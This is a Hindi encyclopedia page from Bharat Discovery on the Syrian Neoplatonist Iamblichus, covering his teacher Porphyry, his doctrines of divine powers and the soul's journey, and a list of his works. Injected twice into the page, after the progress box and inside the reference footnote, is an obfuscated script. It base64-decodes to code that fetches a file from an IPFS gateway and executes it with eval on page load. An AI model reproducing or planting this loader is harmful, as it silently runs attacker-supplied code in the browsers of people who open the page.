इयंबिचस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

इयंबिचस सीरिया के नव्य अफ़लातूनवाद का प्रमुख समर्थक। जन्म सीरिया के एक संपन्न परिवार में हुआ था। रोम में पोर्फ़ेरी का शिष्य रहा, उसके पश्चात्‌ सीरिया में अध्यापन करता रहा। अफलातून और अरस्तू पर उसकी टीकाएँ अपने समग्र रूप में तो अप्राप्य हैं, पर कुछ खंड इधर उधर मिलते हैं।

यथार्थत: दर्शनशास्त्र को इयंबिचस की अपनी मौलिक देन नहीं के बराबर है। अपनी कृतियों में जिन दार्शनिक सिद्धांतो का प्रतिपादन उसने किया है उनमें नवीन अफ़लातूनवाद का एक परिष्कृत रूप ही मिलता है। पूर्वसिद्धांतो में वर्णित आकारगत विभाजन के नियमों तथा पिथागोरस के संख्यात्मक प्रतीकवाद की बहुत ही सुव्यवस्थित व्याख्या उसकी कृतियों में मिलती है।

संसार की उत्पत्ति तथा विकास में तीन प्रकार की दैवी शक्तियों का उल्लेख उसने किया है। उसके अनुसार संसार में नाना प्रकार की आधिभौतिक शक्तियों का अस्तित्व है जो भौतिक जगत्‌ की प्रक्रियाओं को प्रभावित करती रहती है, जिन्हें भविष्य का ज्ञान होता है और जो यज्ञ, पूजन आदि द्वारा प्रसन्न की जा सकती हैं। इयंबिचस के अनुसार जीवात्मा का स्थान चित्‌ और प्रकृति के बीच में है। एक आवश्यक नियम के अनुसार आत्मा अपने स्थान से शरीर में प्रविष्ट होती है और फिर विभिन्न योनियों में भ्रमण करती हुई सत्कर्मो के प्रभाव से पुन: अपने शाश्वत स्थान को प्राप्त करती है।[1]

इयंबिचस की कृतियाँ हैं:

  1. आन द पाइथागोरियन लाइफ;
  2. द एक्ज़ोर्टेशन टु फिलॉसॉफी;
  3. द बुक आन द ऐरिथमेटिक ऑव नाइकोविएशियन;
  4. द थियोलॉजिकल प्रिंसिपुल ऑव ऐरिथमेटिक।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 536 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख